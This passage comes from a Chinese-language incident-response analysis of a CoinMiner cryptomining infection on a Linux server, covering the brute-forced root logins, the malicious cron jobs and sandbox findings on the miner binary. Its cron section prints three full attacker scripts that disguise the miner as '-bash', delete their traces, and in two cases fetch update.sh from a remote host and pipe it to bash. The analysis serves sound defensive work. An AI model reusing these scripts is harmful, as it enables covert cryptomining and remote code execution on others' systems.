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<img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/07\/20260725022631-6a641ed7eced1.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<\/li>\n<li>\n<p>\u4e24\u6b21\u5173\u952e\u7684\u975e\u6cd5\u9ad8\u6743\u9650\u767b\u5f55&#xff1a;<\/p>\n<ul>\n<li>\n<p>\u9996\u6b21\u767b\u5f55&#xff1a;2025\u5e7411\u6708xx\u65e513:58:32&#xff0c;\u653b\u51fb\u8005\u901a\u8fc7\u66b4\u529b\u7834\u89e3\u6210\u529f\u5339\u914droot\u7528\u6237\u7684\u5f31\u53e3\u4ee4&#xff0c;\u4ee5\u6700\u9ad8\u7cfb\u7edf\u6743\u9650\u767b\u5f55\u670d\u52a1\u5668&#xff0c;\u672c\u6b21\u767b\u5f55\u65f6\u957f\u7ea610\u5206\u949f&#xff0c;\u653b\u51fb\u8005\u5b8c\u6210\u4e86\u521d\u59cb\u6076\u610f\u6587\u4ef6\u4e0a\u4f20\u3001\u7cfb\u7edf\u73af\u5883\u63a2\u67e5\u3001\u57fa\u7840\u540e\u95e8\u914d\u7f6e\u7b49\u64cd\u4f5c&#xff1b;<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/07\/20260725022632-6a641ed852d15.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<\/li>\n<li>\n<p>\u4e8c\u6b21\u767b\u5f55&#xff1a;2025\u5e7411\u6708xx\u65e523:28-23:37&#xff08;\u6df1\u591c\u8fd0\u7ef4\u4f4e\u8c37\u671f&#xff0c;\u907f\u5f00\u5e38\u89c4\u8fd0\u7ef4\u76d1\u63a7&#xff09;&#xff0c;\u653b\u51fb\u8005\u518d\u6b21\u901a\u8fc7root\u6743\u9650\u767b\u5f55\u670d\u52a1\u5668&#xff0c;\u672c\u6b21\u767b\u5f55\u65f6\u957f9\u5206\u949f&#xff0c;\u5b8c\u6210\u4e86\u6316\u77ff\u6838\u5fc3\u7a0b\u5e8f\u90e8\u7f72\u3001\u6076\u610f\u6301\u4e45\u5316\u9879\u914d\u7f6e\u3001\u64cd\u4f5c\u75d5\u8ff9\u6e05\u7406\u7b49\u6838\u5fc3\u64cd\u4f5c&#xff0c;\u4e3a\u6316\u77ff\u75c5\u6bd2\u7684\u957f\u671f\u8fd0\u884c\u5960\u5b9a\u57fa\u7840&#xff1b;<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/07\/20260725022632-6a641ed87d939.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<\/li>\n<\/ul>\n<\/li>\n<li>\n<p>\u767b\u5f55\u65e5\u5fd7\u9690\u85cf\u75d5\u8ff9&#xff1a;\u653b\u51fb\u8005\u767b\u5f55\u540e\u5bf9\u90e8\u5206\u6838\u5fc3\u767b\u5f55\u65e5\u5fd7\u8fdb\u884c\u4e86\u7be1\u6539\u4e0e\u6e05\u7406&#xff0c;\u5220\u9664\u4e86\u90e8\u5206\u64cd\u4f5c\u6307\u4ee4\u8bb0\u5f55&#xff0c;\u4f46\u672a\u5b8c\u5168\u6e05\u7406lastb.log\u4e2d\u7684\u5931\u8d25\u767b\u5f55\u8bb0\u5f55\u548clast.log\u4e2d\u7684\u4f1a\u8bdd\u8bb0\u5f55&#xff0c;\u6210\u4e3a\u6eaf\u6e90\u7684\u5173\u952e\u7ebf\u7d22\u3002<\/p>\n<\/li>\n<h4>&#xff08;\u4e8c&#xff09;\u8ba1\u5212\u4efb\u52a1\u5206\u6790&#xff1a;\u4e09\u5927\u6838\u5fc3\u6076\u610fCron\u4efb\u52a1&#xff0c;\u5b9e\u73b0\u6316\u77ff\u75c5\u6bd2\u7684\u6301\u4e45\u5316\u4e0e\u9690\u853d\u8fd0\u884c<\/h4>\n<p>\u767b\u5f55\u670d\u52a1\u5668\u540e&#xff0c;\u5bf9\u7cfb\u7edf\u8ba1\u5212\u4efb\u52a1&#xff08;Cron&#xff09;\u5f00\u5c55\u5168\u7ef4\u5ea6\u6392\u67e5&#xff0c;\u91cd\u70b9\u68c0\u67e5\/etc\/cron.d\/\u3001\/etc\/cron.hourly\/\u3001\/etc\/cron.daily\/\u3001\/var\/spool\/cron\/\u7b49\u8ba1\u5212\u4efb\u52a1\u6838\u5fc3\u76ee\u5f55&#xff0c;\u5728\/etc\/cron.d\/\u76ee\u5f55\u4e0b\u53d1\u73b0elastic-notify-osd\u3001fw-bzip2\u3001rqdmal\u4e09\u4e2a\u6838\u5fc3\u6076\u610f\u8ba1\u5212\u4efb\u52a1\u6587\u4ef6&#xff0c;\u8fd9\u662f\u653b\u51fb\u8005\u5b9e\u73b0\u6316\u77ff\u75c5\u6bd2\u5b9a\u65f6\u89e6\u53d1\u3001\u6301\u4e45\u5316\u8fd0\u884c\u3001\u53cd\u68c0\u6d4b\u9690\u85cf\u7684\u5173\u952e\u8f7d\u4f53\u3002<\/p>\n<p>\u4e09\u4e2a\u6076\u610f\u8ba1\u5212\u4efb\u52a1\u5747\u7531\u653b\u51fb\u8005\u5728\u4e8c\u6b21\u767b\u5f55\u65f6\u5199\u5165&#xff0c;\u9075\u5faa**\u201c\u73af\u5883\u9002\u914d-\u7a0b\u5e8f\u4f2a\u88c5-\u52a0\u5bc6\u901a\u4fe1-\u8f7d\u8377\u62c9\u53d6-\u75d5\u8ff9\u6e05\u7406\u201d**\u7684\u6838\u5fc3\u903b\u8f91&#xff0c;\u4ec5\u5728\u8fd0\u884c\u53c2\u6570\u3001\u901a\u4fe1\u65b9\u5f0f\u3001\u4f2a\u88c5\u7b56\u7565\u4e0a\u5b58\u5728\u7ec6\u5fae\u5dee\u5f02&#xff0c;\u4e14\u5747\u4e3a\u53ef\u6267\u884c\u811a\u672c&#xff0c;\u88ab\u6dfb\u52a0\u4e86i&#xff08;\u4e0d\u53ef\u4fee\u6539&#xff09;\u3001a&#xff08;\u4ec5\u8ffd\u52a0&#xff09;\u6587\u4ef6\u4fdd\u62a4\u5c5e\u6027&#xff0c;\u9632\u6b62\u88ab\u5220\u9664\u3002<\/p>\n<li>\n<p>elastic-notify-osd&#xff1a;\u6316\u77ff\u75c5\u6bd2\u7684\u201c\u57fa\u7840\u90e8\u7f72\u4e0e\u8f7d\u8377\u66f4\u65b0\u811a\u672c\u201d<\/p>\n<p> <span class=\"token shebang important\">#!\/bin\/bash<\/span><br \/>\n<span class=\"token assign-left variable\">ARCH<\/span><span class=\"token operator\">&#061;<\/span><span class=\"token variable\"><span class=\"token variable\">$(<\/span><span class=\"token function\">uname<\/span> <span class=\"token parameter variable\">-m<\/span><span class=\"token variable\">)<\/span><\/span><br \/>\n<span class=\"token assign-left variable\">NRAND<\/span><span class=\"token operator\">&#061;<\/span><span class=\"token variable\"><span class=\"token variable\">$(<\/span><span class=\"token function\">head<\/span> \/dev\/urandom <span class=\"token operator\">|<\/span> <span class=\"token function\">tr<\/span> <span class=\"token parameter variable\">-dc<\/span> <span class=\"token string\">&#039;a-z0-9&#039;<\/span> <span class=\"token operator\">|<\/span> <span class=\"token function\">head<\/span> <span class=\"token parameter variable\">-c<\/span> <span class=\"token number\">3<\/span><span class=\"token variable\">)<\/span><\/span><br \/>\n<span class=\"token builtin class-name\">cd<\/span> \/bin <span class=\"token operator\"><span class=\"token file-descriptor important\">2<\/span>&gt;<\/span>\/dev\/null<br \/>\n<span class=\"token assign-left variable\">dir<\/span><span class=\"token operator\">&#061;<\/span><span class=\"token string\">&#034;systemd-private-<span class=\"token variable\"><span class=\"token variable\">$(<\/span><span class=\"token function\">cat<\/span> \/proc\/sys\/kernel\/random\/uuid <span class=\"token operator\">|<\/span> <span class=\"token function\">tr<\/span> <span class=\"token parameter variable\">-d<\/span> &#8211;<span class=\"token variable\">)<\/span><\/span>-systemd-elastic-notify-osd.service-<span class=\"token variable\"><span class=\"token variable\">$(<\/span><span class=\"token function\">tr<\/span> <span class=\"token parameter variable\">-dc<\/span> <span class=\"token string\">&#039;A-Za-z0-9&#039;<\/span> <span class=\"token operator\">&lt;<\/span>\/dev\/urandom <span class=\"token operator\">|<\/span> <span class=\"token function\">head<\/span> <span class=\"token parameter variable\">-c<\/span> <span class=\"token number\">6<\/span><span class=\"token variable\">)<\/span><\/span>&#034;<\/span><br \/>\n<span class=\"token function\">mkdir<\/span> <span class=\"token parameter variable\">-p<\/span> \/tmp\/<span class=\"token variable\">$dir<\/span> <span class=\"token operator\"><span class=\"token file-descriptor important\">2<\/span>&gt;<\/span>\/dev\/null<br \/>\n<span class=\"token function\">cp<\/span> <span class=\"token parameter variable\">-f<\/span> <span class=\"token parameter variable\">-r<\/span> &#8212; elastic-notify-osd \/tmp\/<span class=\"token variable\">$dir<\/span>\/-bash <span class=\"token operator\"><span class=\"token file-descriptor important\">2<\/span>&gt;<\/span>\/dev\/null<br \/>\n<span class=\"token builtin class-name\">cd<\/span> \/tmp\/<span class=\"token variable\">$dir<\/span> <span class=\"token operator\"><span class=\"token file-descriptor important\">2<\/span>&gt;<\/span>\/dev\/null<br \/>\n<span class=\"token function\">chmod<\/span> &#043;x &#8212; <span class=\"token parameter variable\">-bash<\/span> <span class=\"token operator\"><span class=\"token file-descriptor important\">2<\/span>&gt;<\/span>\/dev\/null<br \/>\n.\/-bash <span class=\"token parameter variable\">-n<\/span> BN-<span class=\"token variable\">${ARCH}<\/span>&#8211;<span class=\"token variable\">${NRAND}<\/span>&#8211;<span class=\"token variable\"><span class=\"token variable\">$(<\/span><span class=\"token function\">whoami<\/span><span class=\"token variable\">)<\/span><\/span> <span class=\"token operator\">&gt;<\/span>\/dev\/null <span class=\"token operator\"><span class=\"token file-descriptor important\">2<\/span>&gt;<\/span><span class=\"token file-descriptor important\">&amp;1<\/span><br \/>\n<span class=\"token function\">curl<\/span> <span class=\"token parameter variable\">-K<\/span> &#8211; <span class=\"token operator\">&lt;<\/span> <span class=\"token operator\">&lt;<\/span><span class=\"token punctuation\">(<\/span><span class=\"token builtin class-name\">printf<\/span> &#8212; <span class=\"token string\">&#034;%s<span class=\"token entity\" title=\"\\\\n\">\\\\n<\/span>&#034;<\/span> <span class=\"token string\">&#034;ipv4&#034;<\/span> <span class=\"token string\">&#034;fail&#034;<\/span> <span class=\"token string\">&#034;silent&#034;<\/span> <span class=\"token string\">&#034;connect-timeout &#061; 10&#034;<\/span> <span class=\"token string\">&#034;max-time &#061; 60&#034;<\/span> <span class=\"token string\">&#034;retry &#061; 0&#034;<\/span> <span class=\"token string\">&#034;url &#061; http:\/\/168.235.**.**\/update.sh&#034;<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token operator\">|<\/span> <span class=\"token function\">bash<\/span><br \/>\n<span class=\"token function\">rm<\/span> <span class=\"token parameter variable\">-rf<\/span> &#8212; \/tmp\/<span class=\"token variable\">$dir<\/span> <span class=\"token operator\"><span class=\"token file-descriptor important\">2<\/span>&gt;<\/span>\/dev\/null<\/p>\n<ul>\n<li>\u73af\u5883\u9002\u914d&#xff1a;\u901a\u8fc7uname -m\u83b7\u53d6\u670d\u52a1\u5668CPU\u67b6\u6784&#xff0c;\u901a\u8fc7\/dev\/urandom\u751f\u6210\u968f\u673a\u5b57\u7b26\u4e0e\u968f\u673a\u76ee\u5f55\u540d&#xff0c;\u5b9e\u73b0\u75c5\u6bd2\u7684\u73af\u5883\u9002\u914d\u4e0e\u7279\u5f81\u89c4\u907f&#xff1b;<\/li>\n<li>\u8fdb\u7a0b\u4f2a\u88c5&#xff1a;\u5c06\u81ea\u8eab\u590d\u5236\u5230\/tmp\u76ee\u5f55\u4e0b\u7684\u968f\u673a\u9690\u85cf\u76ee\u5f55\u4e2d&#xff0c;\u5e76\u91cd\u547d\u540d\u4e3a-bash&#xff0c;\u4f2a\u88c5\u6210\u7cfb\u7edf\u539f\u751f\u7684bash\u7ec8\u7aef\u8fdb\u7a0b&#xff0c;\u89c4\u907f\u5e38\u89c4\u8fdb\u7a0b\u6392\u67e5&#xff1b;<\/li>\n<li>\u8f7d\u8377\u62c9\u53d6&#xff1a;\u901a\u8fc7curl\u547d\u4ee4\u4ece\u6076\u610fIP&#xff08;168.235.**.**&#xff09;\u4e0b\u8f7dupdate.sh\u6076\u610f\u811a\u672c\u5e76\u6267\u884c&#xff0c;\u5b9e\u73b0\u6316\u77ff\u7a0b\u5e8f\u7684\u66f4\u65b0\u3001\u65b0\u6076\u610f\u4ee3\u7801\u7684\u690d\u5165&#xff1b;<\/li>\n<li>\u75d5\u8ff9\u6e05\u7406&#xff1a;\u8fd0\u884c\u5b8c\u6210\u540e\u81ea\u52a8\u5220\u9664\/tmp\u4e0b\u7684\u4e34\u65f6\u9690\u85cf\u76ee\u5f55&#xff0c;\u6e05\u7406\u8fd0\u884c\u75d5\u8ff9&#xff0c;\u4ec5\u4fdd\u7559\u8ba1\u5212\u4efb\u52a1\u672c\u8eab\u4f5c\u4e3a\u89e6\u53d1\u5165\u53e3\u3002<\/li>\n<\/ul>\n<\/li>\n<li>\n<p>fw-bzip2&#xff1a;\u6316\u77ff\u75c5\u6bd2\u7684\u201c\u52a0\u5bc6\u901a\u4fe1\u4e0e\u7b97\u529b\u8fd0\u884c\u811a\u672c\u201d<\/p>\n<p> <span class=\"token shebang important\">#!\/bin\/bash<\/span><br \/>\n<span class=\"token builtin class-name\">cd<\/span> \/usr\/bin <span class=\"token operator\"><span class=\"token file-descriptor important\">2<\/span>&gt;<\/span>\/dev\/null<br \/>\n<span class=\"token assign-left variable\">dir<\/span><span class=\"token operator\">&#061;<\/span><span class=\"token string\">&#034;systemd-private-<span class=\"token variable\"><span class=\"token variable\">$(<\/span><span class=\"token function\">cat<\/span> \/proc\/sys\/kernel\/random\/uuid <span class=\"token operator\">|<\/span> <span class=\"token function\">tr<\/span> <span class=\"token parameter variable\">-d<\/span> &#8211;<span class=\"token variable\">)<\/span><\/span>-systemd-fw-bzip2.service-<span class=\"token variable\"><span class=\"token variable\">$(<\/span><span class=\"token function\">tr<\/span> <span class=\"token parameter variable\">-dc<\/span> <span class=\"token string\">&#039;A-Za-z0-9&#039;<\/span> <span class=\"token operator\">&lt;<\/span>\/dev\/urandom <span class=\"token operator\">|<\/span> <span class=\"token function\">head<\/span> <span class=\"token parameter variable\">-c<\/span> <span class=\"token number\">6<\/span><span class=\"token variable\">)<\/span><\/span>&#034;<\/span><br \/>\n<span class=\"token function\">mkdir<\/span> <span class=\"token parameter variable\">-p<\/span> \/tmp\/<span class=\"token variable\">$dir<\/span> <span class=\"token operator\"><span class=\"token file-descriptor important\">2<\/span>&gt;<\/span>\/dev\/null<br \/>\n<span class=\"token function\">cp<\/span> <span class=\"token parameter variable\">-f<\/span> <span class=\"token parameter variable\">-r<\/span> &#8212; fw-bzip2 \/tmp\/<span class=\"token variable\">$dir<\/span>\/-bash <span class=\"token operator\"><span class=\"token file-descriptor important\">2<\/span>&gt;<\/span>\/dev\/null<br \/>\n<span class=\"token builtin class-name\">cd<\/span> \/tmp\/<span class=\"token variable\">$dir<\/span> <span class=\"token operator\"><span class=\"token file-descriptor important\">2<\/span>&gt;<\/span>\/dev\/null<br \/>\n<span class=\"token function\">chmod<\/span> &#043;x &#8212; <span class=\"token parameter variable\">-bash<\/span> <span class=\"token operator\"><span class=\"token file-descriptor important\">2<\/span>&gt;<\/span>\/dev\/null<br \/>\n.\/-bash <span class=\"token parameter variable\">-c<\/span> <span class=\"token parameter variable\">-p<\/span> <span class=\"token number\">443<\/span> <span class=\"token parameter variable\">-tls<\/span> <span class=\"token parameter variable\">-k<\/span> <span class=\"token operator\">&gt;<\/span>\/dev\/null <span class=\"token operator\"><span class=\"token file-descriptor important\">2<\/span>&gt;<\/span><span class=\"token file-descriptor important\">&amp;1<\/span><br \/>\n<span class=\"token function\">curl<\/span> <span class=\"token parameter variable\">-K<\/span> &#8211; <span class=\"token operator\">&lt;<\/span> <span class=\"token operator\">&lt;<\/span><span class=\"token punctuation\">(<\/span><span class=\"token builtin class-name\">printf<\/span> &#8212; <span class=\"token string\">&#034;%s<span class=\"token entity\" title=\"\\\\n\">\\\\n<\/span>&#034;<\/span> <span class=\"token string\">&#034;ipv4&#034;<\/span> <span class=\"token string\">&#034;fail&#034;<\/span> <span class=\"token string\">&#034;silent&#034;<\/span> <span class=\"token string\">&#034;connect-timeout &#061; 10&#034;<\/span> <span class=\"token string\">&#034;max-time &#061; 60&#034;<\/span> <span class=\"token string\">&#034;retry &#061; 0&#034;<\/span> <span class=\"token string\">&#034;url &#061; http:\/\/cc.s***emctl.cc\/update.sh&#034;<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token operator\">|<\/span> <span class=\"token function\">bash<\/span><br \/>\n<span class=\"token function\">rm<\/span> <span class=\"token parameter variable\">-rf<\/span> &#8212; \/tmp\/<span class=\"token variable\">$dir<\/span> <span class=\"token operator\"><span class=\"token file-descriptor important\">2<\/span>&gt;<\/span>\/dev\/null<\/p>\n<ul>\n<li>\u6838\u5fc3\u903b\u8f91\u4e0eelastic-notify-osd\u4e00\u81f4&#xff0c;\u6838\u5fc3\u5dee\u5f02\u5728\u4e8e\u901a\u4fe1\u65b9\u5f0f\u7684\u9690\u853d\u5316&#xff1a;\u901a\u8fc7443\u7aef\u53e3&#xff08;HTTPS\u9ed8\u8ba4\u7aef\u53e3&#xff09;\u91c7\u7528TLS\u52a0\u5bc6\u65b9\u5f0f\u4e0e\u653b\u51fb\u8005\u63a7\u5236\u7aef\u901a\u4fe1&#xff0c;\u5229\u7528\u4f01\u4e1a\u7f51\u7edc\u4e2d443\u7aef\u53e3\u7684\u9ad8\u5f00\u653e\u6027&#xff0c;\u89c4\u907f\u7f51\u7edc\u5c42\u7684\u7aef\u53e3\u5c01\u7981\u4e0e\u6d41\u91cf\u68c0\u6d4b&#xff1b;<\/li>\n<li>\u6076\u610f\u8f7d\u8377\u62c9\u53d6\u6e90\u4e3a\u6076\u610f\u57df\u540d&#xff08;cc.s***emctl.cc&#xff09;&#xff0c;\u800c\u975e\u76f4\u63a5\u7684IP\u5730\u5740&#xff0c;\u8fdb\u4e00\u6b65\u63d0\u9ad8\u4e86\u7f51\u7edc\u6eaf\u6e90\u7684\u96be\u5ea6\u3002<\/li>\n<\/ul>\n<\/li>\n<li>\n<p>rqdmal&#xff1a;\u6316\u77ff\u75c5\u6bd2\u7684\u201c\u7cbe\u7b80\u7248\u6316\u77ff\u6267\u884c\u811a\u672c\u201d<\/p>\n<p> <span class=\"token shebang important\">#!\/bin\/bash<\/span><br \/>\n<span class=\"token function\">cp<\/span> <span class=\"token parameter variable\">-f<\/span> <span class=\"token parameter variable\">-r<\/span> &#8212; \/bin\/lzwlndz \/bin\/-bash <span class=\"token operator\"><span class=\"token file-descriptor important\">2<\/span>&gt;<\/span>\/dev\/null<br \/>\n<span class=\"token builtin class-name\">cd<\/span> \/bin <span class=\"token operator\"><span class=\"token file-descriptor important\">2<\/span>&gt;<\/span>\/dev\/null<br \/>\n.\/-bash <span class=\"token parameter variable\">-c<\/span>  <span class=\"token parameter variable\">-p<\/span> <span class=\"token number\">443<\/span> <span class=\"token parameter variable\">-tls<\/span>  <span class=\"token parameter variable\">-k<\/span> <span class=\"token operator\">&gt;<\/span>\/dev\/null <span class=\"token operator\"><span class=\"token file-descriptor important\">2<\/span>&gt;<\/span><span class=\"token file-descriptor important\">&amp;1<\/span><br \/>\n<span class=\"token function\">rm<\/span> <span class=\"token parameter variable\">-rf<\/span> &#8212; <span class=\"token parameter variable\">-bash<\/span> <span class=\"token operator\"><span class=\"token file-descriptor important\">2<\/span>&gt;<\/span>\/dev\/null<\/p>\n<ul>\n<li>\u7701\u7565\u4e86\u4e34\u65f6\u76ee\u5f55\u521b\u5efa\u3001\u73af\u5883\u9002\u914d\u7b49\u6b65\u9aa4&#xff0c;\u76f4\u63a5\u5c06\/bin\u76ee\u5f55\u4e0b\u7684\u6316\u77ff\u6838\u5fc3\u7a0b\u5e8flzwlndz\u590d\u5236\u5e76\u91cd\u547d\u540d\u4e3a-bash&#xff0c;\u76f4\u63a5\u5728\u7cfb\u7edf\u6838\u5fc3\u76ee\u5f55\u8fd0\u884c&#xff0c;\u4f2a\u88c5\u6027\u66f4\u5f3a&#xff1b;<\/li>\n<li>\u8fd0\u884c\u53c2\u6570\u6307\u5b9a443\u7aef\u53e3&#043;TLS\u52a0\u5bc6&#xff0c;\u4e0efw-bzip2\u5171\u4eab\u540c\u4e00\u901a\u4fe1\u901a\u9053&#xff0c;\u4e13\u6ce8\u4e8e\u6316\u77ff\u7b97\u529b\u7684\u6301\u7eed\u8f93\u51fa&#xff0c;\u8fd0\u884c\u5b8c\u6210\u540e\u76f4\u63a5\u5220\u9664\u4f2a\u88c5\u7684-bash\u8fdb\u7a0b&#xff0c;\u4ec5\u4fdd\u7559\u8ba1\u5212\u4efb\u52a1\u89e6\u53d1\u5165\u53e3\u3002<\/li>\n<\/ul>\n<\/li>\n<h4>&#xff08;\u4e09&#xff09;\u6076\u610f\u6587\u4ef6\u5206\u6790&#xff1a;\u5b9a\u4f4dCoinMiner\u6316\u77ff\u6728\u9a6c\u6838\u5fc3\u7a0b\u5e8f&#xff0c;\u89e3\u6790\u75c5\u6bd2\u6076\u610f\u884c\u4e3a<\/h4>\n<p>\u6839\u636e\u8ba1\u5212\u4efb\u52a1\u6eaf\u6e90\u7ed3\u679c&#xff0c;\u5728\/bin\u76ee\u5f55\u4e0b\u53d1\u73b0\u6076\u610f\u6587\u4ef6lzwlndz&#xff0c;\u5176\u521b\u5efa\u65f6\u95f4\u4e3a2025\u5e7411\u6708xx\u65e523:37&#xff0c;\u4e0e\u653b\u51fb\u8005\u7b2c\u4e8c\u6b21\u975e\u6cd5\u767b\u5f55\u7684\u65f6\u95f4\u5b8c\u5168\u543b\u5408&#xff0c;\u4e14\u6587\u4ef6\u6743\u9650\u4e3arwxr-xr-x&#xff08;\u53ef\u6267\u884c&#xff09;&#xff0c;\u88ab\u6dfb\u52a0\u4e86i\u3001a\u6587\u4ef6\u4fdd\u62a4\u5c5e\u6027\u3002 <img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/07\/20260725022632-6a641ed8d3761.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/> <img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/07\/20260725022633-6a641ed91b3be.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<p>\u901a\u8fc7\u5fae\u6b65\u4e91\u6c99\u7bb1\u5bf9\u8be5\u6587\u4ef6\u8fdb\u884c\u6df1\u5ea6\u68c0\u6d4b&#xff0c;\u7ed3\u5408\u7cfb\u7edf\u884c\u4e3a\u5206\u6790&#xff0c;\u5f97\u51fa\u6838\u5fc3\u7ed3\u8bba&#xff1a; <img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/07\/20260725022633-6a641ed932364.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<li>\n<p>\u75c5\u6bd2\u7c7b\u578b&#xff1a;\u8be5\u6587\u4ef6\u4e3aCoinMiner\u6316\u77ff\u6728\u9a6c\u75c5\u6bd2\u4e3b\u7a0b\u5e8f&#xff0c;\u91c7\u7528UPX\u52a0\u58f3\u538b\u7f29\u65b9\u5f0f\u8fdb\u884c\u52a0\u5bc6&#xff0c;\u89c4\u907f\u5e38\u89c4\u6740\u6bd2\u8f6f\u4ef6\u7684\u7279\u5f81\u68c0\u6d4b&#xff0c;\u6587\u4ef6\u5927\u5c0f3.25MB&#xff0c;\u4e3a64\u4f4dELF\u683c\u5f0f\u7684Linux\u53ef\u6267\u884c\u7a0b\u5e8f&#xff1b;<\/p>\n<\/li>\n<li>\n<p>\u6838\u5fc3\u6076\u610f\u884c\u4e3a&#xff1a;\u8be5\u6316\u77ff\u7a0b\u5e8f\u8fd0\u884c\u540e&#xff0c;\u4f1a\u6267\u884c\u4e00\u7cfb\u5217\u7cfb\u7edf\u654f\u611f\u64cd\u4f5c&#xff0c;\u5b9e\u73b0\u81ea\u6211\u6301\u4e45\u5316\u3001\u7b97\u529b\u9002\u914d\u4e0e\u6316\u77ff\u8fd0\u884c&#xff0c;\u5177\u4f53\u884c\u4e3a\u5305\u62ec&#xff1a;<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/07\/20260725022633-6a641ed982366.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<ul>\n<li>\u7cfb\u7edf\u4fe1\u606f\u641c\u96c6&#xff1a;\u8bfb\u53d6\/etc\/passwd\u7528\u6237\u6587\u4ef6\u3001\u83b7\u53d6\u670d\u52a1\u5668\u7f51\u7edc\u914d\u7f6e&#xff0c;\u901a\u8fc7\/proc\u3001\/sys\u6587\u4ef6\u7cfb\u7edf\u91c7\u96c6CPU\u3001\u5185\u5b58\u3001\u5185\u6838\u7248\u672c\u3001\u7cfb\u7edf\u6302\u8f7d\u76ee\u5f55\u7b49\u6838\u5fc3\u4fe1\u606f&#xff0c;\u4e3a\u6316\u77ff\u7a0b\u5e8f\u9002\u914d\u670d\u52a1\u5668\u7b97\u529b\u73af\u5883&#xff1b;<\/li>\n<li>\u7cfb\u7edf\u8d44\u6e90\u64cd\u63a7&#xff1a;\u4f7f\u7528getrlimit\u7cfb\u7edf\u8c03\u7528\u83b7\u53d6\u7cfb\u7edf\u8d44\u6e90\u9650\u5236\u3001\u901a\u8fc7modprobe\u547d\u4ee4\u5b89\u88c5\u6076\u610f\u5185\u6838\u6a21\u5757\u3001\u521b\u5efa\/\u5220\u9664\u7cfb\u7edf\u6587\u4ef6\u4e0e\u76ee\u5f55&#xff0c;\u5b9e\u73b0\u6316\u77ff\u7a0b\u5e8f\u7684\u81ea\u6211\u4fdd\u62a4\u4e0e\u6301\u4e45\u5316&#xff1b;<\/li>\n<li>\u6316\u77ff\u6838\u5fc3\u6267\u884c&#xff1a;\u4e0e\u5883\u5916\u77ff\u6c60\u5efa\u7acbTCP\u8fde\u63a5&#xff0c;\u901a\u8fc7\u95e8\u7f57\u5e01jsonrpc\u534f\u8bae\u3001CoinMiner Stratum\u534f\u8bae\u5b8c\u6210\u6316\u77ff\u767b\u5f55\u4e0e\u7b97\u529b\u901a\u4fe1&#xff0c;\u6301\u7eed\u5360\u7528\u670d\u52a1\u5668CPU\u8d44\u6e90\u8fdb\u884c\u52a0\u5bc6\u8d27\u5e01\u6316\u77ff\u8ba1\u7b97&#xff1b;<\/li>\n<li>\u6301\u4e45\u5316\u89e6\u53d1&#xff1a;\u901a\u8fc7\u81ea\u8eab\u7a0b\u5e8f\u5199\u5165\u6076\u610f\u8ba1\u5212\u4efb\u52a1&#xff0c;\u5b9e\u73b0\u201c\u8ba1\u5212\u4efb\u52a1\u89e6\u53d1\u6316\u77ff\u7a0b\u5e8f-\u6316\u77ff\u7a0b\u5e8f\u7ef4\u62a4\u8ba1\u5212\u4efb\u52a1\u201d\u7684\u95ed\u73af&#xff0c;\u786e\u4fdd\u8ba1\u5212\u4efb\u52a1\u88ab\u5220\u9664\u540e\u53ef\u81ea\u52a8\u6062\u590d\u3002<\/li>\n<\/ul>\n<\/li>\n<h4>&#xff08;\u56db&#xff09;\u7f51\u7edc\u6d41\u91cf\u5ba1\u8ba1&#xff1a;\u63d0\u53d6\u6838\u5fc3\u6076\u610f\u5916\u8054IOC&#xff0c;\u9501\u5b9a\u77ff\u6c60\u4e0e\u653b\u51fb\u63a7\u5236\u7aef<\/h4>\n<p>\u901a\u8fc7\u5bf9\u670d\u52a1\u5668\u7684\u5386\u53f2\u7f51\u7edc\u6d41\u91cf\u65e5\u5fd7&#xff08;\u9632\u706b\u5899\u65e5\u5fd7\u3001\u670d\u52a1\u5668\u6293\u5305\u65e5\u5fd7&#xff09;\u8fdb\u884c\u5168\u91cf\u5ba1\u8ba1&#xff0c;\u7ed3\u5408\u6316\u77ff\u7a0b\u5e8f\u7684\u901a\u4fe1\u884c\u4e3a\u5206\u6790&#xff0c;\u63d0\u53d6\u51fa\u672c\u6b21\u6316\u77ff\u75c5\u6bd2\u7684\u6838\u5fc3\u6076\u610f\u5916\u8054\u6307\u6807&#xff08;IOC&#xff09;&#xff0c;\u5305\u62ec\u653b\u51fb\u6e90IP\u3001\u77ff\u6c60C2 IP\u3001\u6076\u610f\u57df\u540d\u3001\u6076\u610f\u7aef\u53e3\u7b49&#xff0c;\u4e3a\u540e\u7eed\u5168\u7f51\u5c01\u5835\u63d0\u4f9b\u7cbe\u51c6\u7684\u6280\u672f\u4f9d\u636e&#xff0c;\u5177\u4f53IOC\u4fe1\u606f\u5982\u4e0b&#xff1a;<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/07\/20260725022633-6a641ed9d095f.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" 